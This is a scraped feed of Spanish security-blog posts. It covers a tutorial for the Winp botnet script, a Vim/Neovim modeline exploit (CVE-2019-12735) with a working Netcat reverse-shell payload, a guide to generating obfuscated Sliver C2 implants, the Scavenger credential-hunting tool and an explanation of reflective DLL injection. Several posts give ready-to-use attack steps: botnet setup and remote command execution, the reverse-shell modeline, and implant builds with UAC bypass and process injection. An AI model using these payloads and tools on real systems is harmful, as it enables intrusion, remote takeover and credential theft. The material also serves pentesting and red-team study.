Quantcast
Channel: hackplayers
Viewing all 1674 articles
Browse latest View live

Winp: Una botnet desde tu casa

$
0
0
No hace mucho hice un pequeño aporte a la comunidad enseñando mi mini-proyecto para la creación de una botnet: "https://underc0de.org/foro/hacking/winp-una-botnet-desde-tu-casa!/", pocos usuarios pero con palabras que debo escuchar, requerían de documentación o algún tutorial acerca de esto, así que les traigo "Tutorial de Winp".

Antes de seguir debemos saber ... ¿Que es una botnet?

Una pequeña definición según wikipedia:

"Botnet es un término que hace referencia a un conjunto o red de robots informáticos o bots, que se ejecutan de manera autónoma y automática.​ El artífice de la botnet puede controlar todos los ordenadores/servidores infectados de forma remota."

¿Que es Winp?

Winp, es un proyecto de código abierto para la interacción múltiple de varias terminales remotas o... básicamente un script para la creación de una botnet.

Características

* - Cifrado híbrido (AES256 y RSA)
* - Múltiples conexiones
* - Uso de un proxy o Tor en el cliente
* - Auto-completado semi-inteligente
* - Uso sencillo y de forma simplificada
* - Rápido
* - Probado en Android (Userland), Linux y Windows (Por lo tanto esta disponible para dos plataformas muy usadas)

Instalación
Windows:

pip install win-inet-pton
pip install pyreadline
PyCrypto en windows se tiene que instalar "manualmente". Puedes descargarlo desde http://www.voidspace.org.uk/python/modules.shtml#pycrypto

Linux:

pip install readline
pip install pycrypto

Los dos:

pip install PySocks
pip install rsa
pip install terminaltables
git clone https://github.com/DtxdF/Winp
Uso

Generar las claves públicas y privadas o el par de claves:
# Al usar por primera vez el script o cuando se borra el archivo que se genera donde estan almacenadas las claves "Comunmente db.dat" nos mostrara el siguiente mensaje que nos indica que coloquemos el tamaño en bits de las claves. Si presionas "ENTER" usaras el predeterminado.

...

No se localizaron las claves asimétricas!
Seleccione el tamaño en BITS de las claves:
Tamaño en bits [1024]: _

...

# Si estas realizando una prueba puedes usar el tamaño en bits por defecto o uno menor; Una vez que des el ENTER empezara la generación de las claves donde tendremos que esperar

...

No se localizaron las claves asimetricas!
Seleccione el tamaño en BITS de las claves:
Tamaño en bits [1024]:

# El tiempo de la generación puede variar dependiendo del tamaño de bits y de las capacidades de su computador!

Generando ...
Escribiendo claves en el disco ...
Hecho!

Winp>

...

# Una vez generado veremos el prompt donde introduciremos comandos ... Pero ¿Cuales comandos?, sigue leyendo.

Manejo y configuración de claves

La diferencia entre claves configurables y no configurables es que las configurables ademas de que no se pueden modificar a traves del script, son tus claves generadas al principio y las configurables ademas de que se pueden modificar, estas interactuan con el descifrado y cifrado

# Para ver cuales son las claves no configurables

Winp> show keys
Clave Pública: PublicKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537)
Clave Privada: PrivateKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537, 48494281988900403637325694392500465780248672483421421961068527779514452344806114281616452733147655540842312037471341282489968066219385502529969114589017042373692610200256808982070908819462297258143877185529102463480666979383115687500657778698566301595898465371826246127469059270935260338960317522565512672545, 52849951656400780285777520884722631487282822866380480600342755833032605533590186295581706790005744752358429614259024948140444759779010984029348917770810060513509809, 1703030710670232751440283284246566349733904241977940821873209494830657724104064064237818845466176006739101797811703277196376035836239941455995979)

...

# La clave pública se debe introducir en client.py, a continuación ya veremos como configurarlo
# Vamos a generar el par de claves para client.py y a configurar client.py
# Abrimos una consola de python


python

# Importamos el modulo rsa

>>> import rsa

# Generamos

>>> keys = rsa.newkeys(1024) # Tamaño en bits
>>> keys[0] # Clave pública
PublicKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537) # Copiemos esta y configuremos en el servidor
>>> keys[1] # Clave privada
PrivateKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537, 138076594655960157943018154707284023642132286809612545205777094629309648874652937906385479925122441350610274710320642469281993116229431538736900206491484470429338591716895837814247349826633521762339564205041230016003718004584926980811810556215081336912779656487124562107494840715152502381211544681832258204393, 51959915709865778767343141968794070842708372285437318264774036770559642203330124299585846335087897797854854941001291448632520820435680152228885587453352726486263231, 3024117419430522850360471104223916910070286925910970063104666679569295395598640543818423468877991091317870632107965096485512606576376559453277533) # Esta la usaremos en client.py

...

Winp> set key add public PublicKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537)

Configuración del cliente
# Abrimos client.py con nuestro editor de texto, recomiendo nano o vim y nos vamos a las lineas de configuración del 28 al 35 para rellenar las variables correspondientes, en mi caso usare valores de ejemplos

...
rhost = str('127.0.0.1') # Dirección del servidor
rport = int(8043) # Puerto del servidor
user = str("root") # Usuario, normalmente esta en la configuración
passwd = str("password123!") # Contraseña, normalmente esta en la configuración
buff = int(1024) # El tamaño de la carga en memoria, 1024 esta perfecto, aunque si comienza a tener grandes cantidades de longitudes de datos use uno más grande

public_key = str('PublicKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537)') # Controlador
private_key = str('PrivateKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537, 138076594655960157943018154707284023642132286809612545205777094629309648874652937906385479925122441350610274710320642469281993116229431538736900206491484470429338591716895837814247349826633521762339564205041230016003718004584926980811810556215081336912779656487124562107494840715152502381211544681832258204393, 51959915709865778767343141968794070842708372285437318264774036770559642203330124299585846335087897797854854941001291448632520820435680152228885587453352726486263231, 3024117419430522850360471104223916910070286925910970063104666679569295395598640543818423468877991091317870632107965096485512606576376559453277533)') # Esclavo
...

Ver los clientes conectados e interacturar con ellos
Winp> show clients

... Aqui se mostrarían los clientes, pero debido a los caracteres el navegador no los visualizaría correctamente, en este caso yo tengo el siguiente cliente: 127.0.0.1P48210 (Como podemos ver, hay un "P" entre-medio de la dirección IP y el puerto, eso es un separador)

# Ahora enviemos un simple comando:

Winp> shell remote 127.0.0.1P48210 execute whoami

# Ahora visualizamos el resultado
# Quiero aclarar que puedes mostrar tanto todos los datos recibidos sin organización e incluso con organización por dirección IP
# Forma desorganizada


Winp> show data

... Los datos no los público por los caracteres

# Forma organizada


Winp> show data 127.0.0.1P48210

...

Configuración

Si necesitas cambiar un valor o el funcionamiento del script completo, puedes hacerlo en utils/config.py:

# -*- coding: UTF-8 -*-

import socks
import socket
from terminaltables import AsciiTable, DoubleTable, GithubFlavoredMarkdownTable, PorcelainTable, SingleTable


conf = {
        'proxy_setting':{ # Configuración del proxy
            'use':False, # True para integrar el proxy en el cliente, False lo contrario
            'proxy_type':socks.PROXY_TYPE_SOCKS4, # Tipo de proxy
            'proxy_addr':'127.0.0.1:9050', # La dirección del proxy, en este caso es la dirección del proxy de Tor
            'rdns':True, # dns remoto
            'username':None, # Nombre de usuario
            'password':None # Contraseña
            },

        'rsa_setting':{ # Configuración de rsa
            'bitsize':1024, # El tamaño de bits. Si recordamos es lo que nos aparece al principio del script en el primer momento de ejecución
            },

        'socket_setting':{ # Configuración del socket
            'lhost':'127.0.0.1', # La dirección del host local
            'lport':8043, # El puerto local o en escucha
            'family':socket.AF_INET, # La familia del socket
            'protocol':socket.SOCK_STREAM, # El protocolo
            'limit':0, # El limite de clientes, '0' para que sean infinitos
            'buffer_limit':1024 # El tamaño del buffer para la recepción de datos
            },

        'credentials':{ # Las credenciales
            'username':['root'], # Los nombres de usuarios
            'password':['password123!'] # Contraseñas
            },

        'style':{ # El estilo de algunas cosillas
            'input_string':'Winp> ', # El prompt
            'table_style':SingleTable # El estilo de la tabla
            },

        'time_setting':{ # La configuración del tiempo
            'sleep':1 # El intervalo de espera
            },

        'keys_setting':{
            'bitsize':1024
            },

        'shelve_setting':'db.dat', # La configuración de shelve para la serialización
            'custom_chars':{ # Los caracteres imprimibles correctamente usando la utilidad modify_char.modify
                'ñ':'\xa4',
                'ó':'\xa2',
                'í':'\xa1',
                'ú':'\xa3',
                'á':'\xa0'
            }

        }

Imágenes:


ATENCIÓN y DISCULPAS: Actualice a una versión reciente de Winp ya que se arreglaron errores de código

Nota-1: Si usas un sistema operativo/distribución que no se menciono o no se probo su funcionamiento, ayúdame a verificar su funcionamiento haciéndomelo saber
Nota-2: El proyecto se ira actualizando constantemente, esta atento ante nuevas funcionalidades, corrección de errores, etc
Nota-3: Esta información en cualquier momento puede quedar obsoleta, tratare de actualizar lo más rápido posible

Contribución gracias a DtxdF (https://github.com/DtxdF/Winp).

P.D. Si también quieres publicar tu artículo, no lo dudes y mándanos tu contribución a hackplayers_at_ymail.com o ponte en contacto con nosotros a través de cualquier canal disponible en las redes sociales (TwitterFacebook o Telegram).

Nueva vulnerabilidad en "Vim" y "Neovim" permite la ejecución de comandos

$
0
0
No hace mucho el investigador Armin Razmjou descubrió un fallo que hace vulnerable a cualquier Linux que cuente con el famoso y querido editor de texto "Vim" y su Fork "Neovim", vulnerabilidad registrada como CVE-2019-12735.

(Si no eres de este mundo) Pero ... ¿Qué es Vim?

Vim, por sus siglas en Ingles "Vi improved" es una versión mejorada del editor de texto vi, presente en todos los sistemas UNIX. Su autor, Bram Moolenaar, presentó la primera versión en 1991, fecha desde la que ha experimentado muchas mejoras.

Vulnerabilidad

Este fallo es debido a una característica llamada "modelines", que básicamente le permite al editor de texto (incluyendo Neovim) cargar desde cualquier fichero una configuración personalizada.

Esta característica viene habilitada por defecto en estos editores que, si el usuario lo desea, la puede desactivar. El problema yace es que la mayoría de usuarios no lo hacen, ocasionando un posible control total a un atacante.

Como apoda el título de este artículo con un simple archivo de texto con un modeline específico y simple es posible conseguir ejecutar código directamente en la memoria del sistema. Aunque Vim y Neovim pueden ejecutar los comandos peligrosos dentro de un sandbox, al utilizar "source" en la línea del código se consigue salir de este aislamiento.

Prueba de Concepto

En este artículo no sólo quiero tocar teoría, también la práctica, para eso solo crearemos un fichero de texto llamado "poc.txt" (para este ejemplo), donde contendrá el siguiente código modificado de "https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md" para conseguir el control del sistema remotamente o lo que se podría simplificar como una shell remota con una conexión inversa utilizando la navaja suiza "Netcat":
:!nohup nc <ip> <puerto> -e <shell> >> /tmp/nohup.dat 2>> /tmp/nohup.dat & rm <nombre del archivo> >> /tmp/nohup.dat 2>> /tmp/nohup.dat||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Ejemplo
:!nohup nc 127.0.0.1 9999 -e /bin/sh >> /tmp/nohup.dat 2>> /tmp/nohup.dat & rm poc.txt >> /tmp/nohup.dat 2>> /tmp/nohup.dat||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Claro ya tenemos que tener a netcat a la escucha:
nc -vlp 9999

También podemos asegurarnos que la opción de modeline no ha sido deshabilitada (:set modeline).

Una vez conectado, si la víctima simplemente ejecuta 'vim poc.txt' podremos ejecutar comandos remotamente:
listening on [any] 9999 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 42730
whoami
root


Parches y soluciones

Si ya ibas a lanzar la computadora por la ventana, tranquila/o ya los responsables de Vim y Neovim lanzaron sus correspondientes parches para corregir las vulnerabilidades originadas por estos mismos con el fin de que sigamos usando estos increíbles editores. En el caso de Vim, el parche que lo protege es el "8.1.1365", y en Neovim es la versión "0.3.6".

¿Vim y Neovim no son vulnerables?, ¡vamos a vulnerarlos!

Si en este caso no son vulnerables, pero deseas realizar la prueba de concepto, lo puedes lograr desde el archivo de configuracion de Vim, mayormente ubicado en: '/etc/vim/vimrc', aunque primero verifiquemos ejecutando la siguiente sentencia con Vim ya abierto:
# Presionamos ":" y colocamos set modeline?
# Si nos retorna "modeline" es porque somos vulnerables a este ataque y si no, nos retornaria "nomodeline"
# Y si quiero cambiarlo a "modeline" en caso de que nos retorne "modeline", colocamos el siguiente codigo en el archivo de ćonfiguracion de Vim "/etc/vim/vimrc"
# set modeline
# Y para ver si la prueba es exitosa, realiza el POC y me dices que tal ...

¿Dudas?, comentamelo o hazme saber si quieres más articulos de noticias recien sacadas del horno

Referencias:

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
https://www.redeszone.net/2019/06/11/vulnerabilidad-linux-hackearlo-archivo-texto/

Contribución gracias a DtxdF.

P.D. Si también quieres publicar tu artículo, no lo dudes y mándanos tu contribución a hackplayers_at_ymail.com o ponte en contacto con nosotros a través de cualquier canal disponible en las redes sociales (TwitterFacebook o Telegram).

"Hackeando" los avisadores de restaurantes con HackRF

$
0
0
Este video muestra cómo usar HackRF, ya sabéis nuestro sistema SDR de facto, para activar los típicos avisadores de restaurantes, esos que pitan para avisarnos que nuestro pedido está listo. También conocidos en inglés como 'restaurant pagers', los que se muestran en este video son fabricados por Long Range Systems y su frecuencia de operación es de 467.750 Mhz. Eso sí, tened en cuenta que este video no muestra ningún fallo de seguridad, HackRF simplemente genera el mismo paquete de datos que la estación base para activar los avisadores.


Referencias:

Sliver: un framework para implants muy interesante

$
0
0
Sliver es un sistema de Comando y Control (C2) creado para pentesters, redteamers y APTs avanzadas. Genera implants o implantes (slivers) que pueden ejecutarse en prácticamente todas las arquitecturas, y administrar estas conexiones de forma segura a través de un servidor central.

Sliver admite varios protocolos de callback, incluidos DNS, TCP y HTTP(S), para simplificar la conexión callback, incluso cuando esos molestos equipos azules bloquean dominios. También es posible tener múltiples operadores (jugadores) al mismo tiempo al mando de tu ejército de slivers.



¿Por qué Sliver y no Cobalt Strike, Metasploit u otros sistemas C2?

Sliver tiene muchas características que otras herramientas C2 no tienen, como:

- Generación de código dinámico con ofuscación por binario (en tiempo de compilación).
- Inyección de procesos local o remota.
- Asegura las conexiones cifradas del implante al servidor C2 (mTLS, HTTP(S) y DNS) y anti-anti-anti-forensics.
- Migración de procesos de Windows y manipulación de tokens de usuario.
- Soporta múltiples operadores controlando simultáneamente sus implantes.
- Autocompletado. Registro de auditoría completo en el lado del servidor.
- Múltiples y extensibles protocolos egress.
- Integración con Let's Encrypt.
- Ejecución en memoria .NET assembly.
- DNS Canary Blue Team Detection
- Es completamente de código abierto (licencia GPLv3).

Instalación del servidor

El servidor es compatible con Linux, Windows y MacOS. Sin embargo, se recomienda ejecutar el servidor en un host Linux porque algunas funciones pueden ser más difíciles de ejecutar en un servidor Windows o MacOS, aunque todas las funciones básicas integradas deberían funcionar bien.

Hay dos opciones, descargar la última versión para nuestra plataforma y simplemente ejecutar el binario o compilarlo nosotros mismos desde la fuente:

1. https://github.com/BishopFox/sliver/releases   
2. https://github.com/BishopFox/sliver/wiki/Compile-From-Source

La primera vez que ejecutemos el servidor tendrá que desempaquetar algunos activos, lo que puede demorar un minuto o dos, los inicios posteriores deben ser más rápidos.

NOTA: Sliver tiene dos dependencias externas para características opcionales: MinGW y Metasploit. Para habilitar los payloads de Shellcode/staged necesitaremos instalar MinGW. Para habilitar las integraciones de MSF necesitaremos que Metasploit esté instalado.

El Docker de Sliver está diseñado principalmente para ejecutar pruebas unitarias, pero incluye tanto MinGW como Metasploit. Si planeas ejecutar el servidor utilizando Docker, deberás reenviar los puertos TCP correspondientes (por ejemplo, 80, 443, 31337).

DNS C2

Se recomienda realizar los siguientes pasos para configurar un dominio para DNS C2 (y DNS canary). Se puede usar cualquier proveedor de DNS que se desee siempre y cuando se configuren los registros correctamente. También se recomienda establecer un TTL de ~5 minutos para cada registro.

- Crear un registro A para example.com que señale la dirección IP del servidor Sliver (o redirector).
- Crear un registro A para un subdominio ns1 (es decir, ns1.example.com) que apunte a la dirección IP del servidor Sliver (o redirector).
- Crear un registro NS con un subdominio arbitrario, por ejemplo 1 (es decir, 1.example.com) que es administrado por ns1.example.com.
     Ahora puede usar 1.example.com como su dominio DNS C2, por ejemplo. generar --dns 1.example.com

La configuración final debe verse como para el dominio lil-peep.rip:


DNS Canaries

Los DNS Canaries son dominios únicos para cada binario que se insertan opcionalmente durante el proceso de ofuscación de strings. Estos dominios no son realmente utilizados por el código del implante y no están deliberadamente ocultos para que aparezcan si alguien ejecuta strings en el implante. Si estos dominios se resuelven alguna vez (y se tiene un detector de dns en ejecución), se recibirá una alerta que indicará qué un binario específico fue descubierto por un blue team.

Ejemplo de comando de generación con canarios, debemos de asegurarnos de usar el FQDN:
sliver > generate --http foobar.com --canary 1.example.com.

Debemos asegurarnos de tener un listener DNS en ejecución y usar el FQDN:
sliver > dns --domains 1.example.com.

[*] Starting DNS listener with parent domain(s) [1.example.com.] ...
[*] Successfully started job #1

Se pueden ver los canarios generados previamente con el comando canaries.

Generando implantes

La generación de implantes se realiza mediante el comando generate, debemos especificar al menos un endpoint C2 con --mtls, --http o --dns. Tenemos que tener en cuenta que cuando un implante intente conectarse a un endpoint especificado con --http, intentará con HTTPS y luego con HTTP (si falla HTTPS). Se recomienda utilizar TLS mutuo (--mtls) siempre que sea posible. También se puede especificar un directorio de salida con --save (de forma predeterminada el implante se guardará en el directorio de trabajo actual).
sliver > generate --mtls example.com --save Pruebas

[*] Generating new windows/amd64 Sliver binary
[*] Symbol obfuscation is enabled, this process takes about 15 minutes
[*] Build completed in 00:03:55
[*] Sliver binary saved to: /tools/redteam/4.C2/sliver/RELEASES/Pruebas/JEWISH_TWIG.exe

IMPORTANTE: El proceso de ofuscación de símbolos puede tardar más de 15 minutos en completarse, según los recursos de la CPU de la máquina. Se puede omitir este paso con --skip-symbols pero una gran cantidad de información incompleta terminará en los binarios que se generan. Solo se debe usar esta bandera si estamos jugando, o si no importa el sigilo.

Los implantes de Sliver son multiplataforma, se puede cambiar el objetivo del compilador con la marca --os:
sliver > generate --mtls example.com --save Pruebas --skip-symbols --os Windows

[*] Generating new windows/amd64 Sliver binary
[!] Symbol obfuscation is disabled
[*] Build completed in 00:00:04
[*] Sliver binary saved to: /tools/redteam/4.C2/sliver/RELEASES/Pruebas/FANTASTIC_STORY-TELLING.exe

El servidor también asignará nombres de código a cada binario generado, es decir, FANTASTIC_STORY-TELLING.exe, podremos cambiar el nombre del archivo a cualquier cosa que necesite, pero estos nombres de código seguirán identificando de forma única el binario generado (se insertan en tiempo de compilación). También se pueden ver todos los archivos binarios de implantes generados anteriormente con el comando slivers:
sliver > slivers

Name                     OS/Arch        Debug  Format
====                     =======        =====  ======
FANTASTIC_STORY-TELLING  windows/amd64  false  EXECUTABLE
JEWISH_TWIG              windows/amd64  false  EXECUTABLE
NEAT_PRODUCT             windows/amd64  false  EXECUTABLE

Si necesitamos volver a descargar un implante generado previamente, podremos el comando regenerate:
sliver > regenerate --save Pruebas NEAT_PRODUCT

[*] Sliver binary saved to: /tools/redteam/4.C2/sliver/RELEASES/Pruebas/NEAT_PRODUCT.exe

Obtención de shells

Antes de poder capturar una shell, primero deberemos iniciar un listener. Podemos utilizar los comandos mtls, http y dns para iniciar listeners para cada protocolo (http también se usa para HTTPS). Podemos usar el comando jobs para ver y administrar los listeners que se ejecutan en segundo plano.
sliver > mtls

[*] Starting mTLS listener ...
[*] Successfully started job #1

sliver > jobs

ID  Name  Protocol  Port
==  ====  ========  ====
1   mTLS  tcp       8888

En este ejemplo, estamos utilizando Mutual TLS, los certificados necesarios para configurar y asegurar esta conexión ya se han generado en segundo plano y el par de certificados de cliente se integró en el implante en el momento de la compilación. Así que para obtener una shell solo tenemos que ejecutar el binario en el destino.
[*] Session #1 JEWISH_TWIG - 192.168.122.229:49992 (DESKTOP-CR8PTQ1) - windows/amd64

[*] Session #2 FANTASTIC_STORY-TELLING - 192.168.122.229:49995 (DESKTOP-CR8PTQ1) - windows/amd64

sliver > use 1

[*] Active sliver JEWISH_TWIG (1)
sliver (JEWISH_TWIG) > help

Commands:
=========
  clear  clear the screen
  exit   exit the shell
  help   use 'help [command]' for command help

Generic:
========
  background        Background an active session
  canaries          List previously generated canaries
  dns               Start a DNS listener
  generate          Generate a sliver binary
  generate-egg      Generate an egg shellcode (sliver stager)
  generate-profile  Generate Sliver from a profile
  http              Start an HTTP listener
  https             Start an HTTPS listener
  jobs              Job control
  mtls              Start an mTLS listener
  new-profile       Save a new sliver profile
  profiles          List existing profiles
  regenerate        Regenerate target sliver
  sessions          Session management
  slivers           List old Sliver builds
  use               Switch the active sliver
  websites          Host a static file on a website (used with HTTP C2)

Multiplayer:
============
  kick-player  Kick a player from the server
  multiplayer  Enable multiplayer mode
  new-player   Create a new player config file
  players      List players

Sliver - Windows:
=================
  elevate           Spawns a new sliver session as an elevated process (UAC bypass/Windows Only)
  execute-assembly  Loads and executes a .NET assembly in a child process (Windows Only)
  getsystem         Spawns a new sliver session as the NT AUTHORITY\SYSTEM user (Windows Only)
  impersonate       Run a new process in the context of the designated user (Windows Only)
  migrate           Migrate into a remote process

Sliver:
=======
  cat                Dump file to stdout
  cd                 Change directory
  download           Download a file
  execute-shellcode  Executes the given shellcode in the sliver process
  getgid             Get Sliver process GID
  getpid             Get Sliver pid
  getuid             Get Sliver process UID
  info               Get info about sliver
  kill               Kill a remote sliver process
  ls                 List current directory
  mkdir              Make a directory
  msf                Execute an MSF payload in the current process
  msf-inject         Inject an MSF payload into a process
  ping               Test connection to Sliver (does not use ICMP)
  procdump           Dump process memory
  ps                 List remote processes
  pwd                Print working directory
  rm                 Remove a file or directory
  shell              Start an interactive shell
  upload             Upload a file
  whoami             Get Sliver user execution context
sliver (JEWISH_TWIG) > whoami

DESKTOP-CR8PTQ1\john

sliver (JEWISH_TWIG) > shell

? This action is bad OPSEC, are you an adult? Yes
[*] Opening shell tunnel (EOF to exit) ...

PS C:\Users\john\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState>

Dominios / Protocolos Múltiples

Podemos especificar múltiples dominios y protocolos múltiples durante el proceso de generación. En este momento, Sliver intentará usar los productos de mayor rendimiento primero (MTLS -> HTTP (S) -> DNS) usando dominios / protocolos posteriores cuando las conexiones fallan.
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip

Eventualmente, agregaremos una función para especificar manualmente los protocolos de respaldo, o se puede agregar esta función y enviar un PR :).

HTTP(S) C2

Sliver admite C2 compatibles con proxy a través de HTTP y HTTPS. Sin embargo, dado que Sliver no depende de la capa SSL/TLS para la seguridad, estos protocolos se consideran algo "sinónimos".

Generar el Sliver (implant)

Los implantes de Sliver se compilan con un dominio de servidor baked-in (pero ofuscado, por supuesto) al que volverán a contactar. Para generar un implante que se comunica con un servidor en example.com, debemos ejecutar lo siguiente:
sliver > generate --http example.com

Iniciar el Listener
sliver > http

sliver > https

Contenido estático

Sliver puede instalar un sitio web en su listener HTTP(S) para que el servidor parezca más legítimo. Por ejemplo, podríamos poner una página de índice de IIS predeterminada e imitar a un servidor de aspecto normal en caso de que alguien venga a husmear. Se puede gestionar el contenido estático utilizando el comando websites.
websites --website fake-blog --web-path / --content ./index.html add

Certificados SSL/TLS

El servicio de listener http también admite certificados TLS automáticos a través de Let's Encrypt, que pueden habilitarse utilizando el indicador --lets-encrypt.
sliver > https --domain example.com --lets-encrypt

Más info en la wiki y el repo del proyecto:

https://github.com/BishopFox/sliver

The Dog Whisperer’s Handbook: una guía para BloodHound

$
0
0
La semana pasada, en la Cumbre de seguridad de Active Directory de ERNW Insight que tuvo lugar en Heidelberg (Alemania), Enno Rey (@Enno_Insinuator) y Walter Legowski (@SadProcessor) impartieron un taller de BloodHound. La mayoría de los mortales no tuvimos suerte de poder asistir al mismo, pero durante el mismo se comprometieron con los alumnos a escribir una Guía de capacitación que luego compartirían con la Comunidad... Y aquí está, recién sacada del horno y disponible para descargar: 

The Dog Whisperer’s Handbook – A Hacker’s Guide to the BloodHound Galaxy.
Este PDF es una colección de fragmentos y piezas que se dispersaron por la web y que recogieron en los últimos dos años mientras escribían el módulo CypherDog.

En el encontraremos una buena cantidad de información sobre cómo comenzar con BloodHound y Cypher y un montón de enlaces a recursos para llevar nuestro conocimiento aún más lejos.

El resumen del contenido de esta guía es el siguiente:

A - Concepto de BloodHound y evolución de la herramienta
B - Instalación de BloodHound e interfaz de usuario
C - Recopilación de datos e ingesta
D - Cypher básico y consultas comunes
E - Cypher avanzado y manipulación de DB
F - API REST y otras cosas interesan

Además, para aquellos que quieran jugar con BloodHound pero que no tienen un AD a mano para recopilar datos, también crearon algunos Datos de AD de ejemplo para alimentar a BloodHound.

Ahora ya no tienes excusas para sacar a pasear al perro ...

¿Has conseguido credenciales en un pentest y necesitas ayuda para encontrar info sensible? Scavenger, un script que puede ayudarte

$
0
0
Durante un pentest interno, si tenemos suerte y/o la suficiente pericia, obtendremos acceso de nivel administrativo al dominio de Active Directory de Windows. Sin embargo, muchas veces tendremos el problema de tener demasiado acceso a demasiados sistemas con días limitados para pruebas. Necesitamos encontrar información valiosa y lo antes posible...

Scavenger es una herramienta creada por Trustwave que nos permitirá encontrar rápidamente esos archivos y carpetas "interesantes" una vez que hayamos obtenido credenciales (post-explotación). Es multi-hilo y permite escanear sistemas remotos (*nix, Windows y OSX) a través de los servicios SMB y SSH para analizar cada sistema en busca de información valiosa y luego almacenar en caché el resultado de forma ordenada en una base de datos.

La información confidencial puede tomar muchas formas dependiendo de lo que se busca, pero en el caso de un pentester, generalmente reside en contraseñas y nombres de usuario de otros sistemas o incluso de diferentes dominios de Windows. Scavenger busca y peina proactivamente este tipo de información:

- lista de los "últimos" archivos/carpetas accedidos/modificados/creados.
- archivos que contengan palabras interesantes, por ejemplo, "password" o "secret". Una vez detectados, Scavenger los descargará a local.
- archivos que contengan información de cuentas y tarjetas (PCI).
- hashes de contraseñas del archivo SAM local o de la base de datos de Active Directory (ntds.dit).
- contraseñas guardadas en algunas aplicaciones, por ejemplo, las contraseñas que se guardan en Chrome, y también otras aplicaciones como WinSCP.


Además, Scavenger tiene la capacidad de comparar y contrastar la lista almacenada en caché de archivos y carpetas previamente obtenidos con una lista recientemente escaneada y adquirida después de un período de tiempo no determinado (horas o días). Por ejemplo, si obtuvimos acceso de nivel de administrador de dominio el día inicial de la prueba de instrusión, el pentester puede esperar varios días y usar Scavenger para volver a escanear y comparar la lista "nueva" anterior de archivos encontrados con la última lista de archivos.

Esto le da al analista la capacidad de determinar rápidamente qué ha cambiado en ese período de tiempo, por ejemplo, si se han creado nuevos archivos y/o si se ha accedido o modificado los archivos antiguos de alguna manera. Por ejemplo, si vemos que el administrador accede con frecuencia a ciertas contraseñas o archivos, es seguro que lo que hay en esos archivos tiene un valor importante.

Requisitos

Instalar CrackMapExec - CrackMapExec Installation Page

Repo

git clone https://github.com/SpiderLabs/scavenger.git

Ejemplos

$ python3 ./scavenger.py smb -t 10.0.0.10 -u administrator -p Password123 -d test.local

$ python3 ./scavenger.py smb --target iplist --username administrator --password Password123 --domain test.local --overwrite


Fuente:

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/scavenger-post-exploitation-tool-for-collecting-vital-data/

Inyección reflejada de DLLs en Windows

$
0
0
Normalmente cuando se carga una DLL en Windows se llama a la función LoadLibrary, que toma la ruta del archivo de la DLL y la carga en la memoria. Sin embargo, existe una técnica que permite a un atacante inyectar una librería en un proceso remoto (víctima) desde la memoria en lugar de desde disco, una forma más sigilosa de ejecutar código malicioso: hablamos de la inyección reflejada de DLLs o, en inglés, "reflective DLL loading".

No obstante, Windows no tiene una función como LoadLibrary para llevarlo a cabo, así que para obtener la funcionalidad tendremos que escribirla nosotros mismos.

Implementando la técnica

La técnica más común para inyectar DLLs de una forma reflejada, bien documentada por el irlandés Stephen Fewer, es doble. En primer lugar, la DLL que queremos inyectar debe estar escrita en el espacio de direcciones del proceso de destino/host. En segundo lugar, la DLL debe cargarse en ese proceso host de tal manera que se cumplan todos los requisitos de tiempo de ejecución de la librería, como resolver sus importaciones o reubicarlas en una ubicación adecuada en la memoria.

Suponiendo que tenemos ejecución de código en el proceso del host y que la librería que deseamos inyectar se ha escrito en una ubicación arbitraria de la memoria en el proceso del host, la inyección reflejada de DLLs funciona de la siguiente manera:

- La ejecución se pasa, ya sea a través de CreateRemoteThread(), una función de API no documentada equivalente como RtlCreateUserThread o un pequeño shellcode bootstrap, a la función ReflectiveLoader de la librería, que es una función exportada que se encuentra en la tabla de exportación de la librería.
- Como la imagen de la librería existirá actualmente en una ubicación arbitraria en la memoria, ReflectiveLoader primero calculará la ubicación actual de su propia imagen en la memoria para poder analizar sus propios headers para su uso posterior.
- ReflectiveLoader luego analizará la tabla de exportación de los procesos del host kernel32.dll para calcular las direcciones de las tres funciones requeridas por el cargador, a saber, LoadLibraryA, GetProcAddress y VirtualAlloc.
- ReflectiveLoader ahora asignará una región continua de memoria en la que procederá a cargar su propia imagen. La ubicación no es importante ya que el cargador re-ubicará correctamente la imagen más adelante.
- Los headers y las secciones de la librería se cargarán en sus nuevas ubicaciones en la memoria.
- ReflectiveLoader procesará la copia recién cargada de la tabla de importación de su imagen, cargando las librerías adicionales y resolviendo sus respectivas direcciones de función importadas.
- ReflectiveLoader procesará la copia recién cargada de la tabla de reubicación de su imagen.
- ReflectiveLoader llamará a la función de punto de entrada de su imagen recién cargada, DllMain con DLL_PROCESS_ATTACH. La librería ahora se habrá cargado con éxito en la memoria.
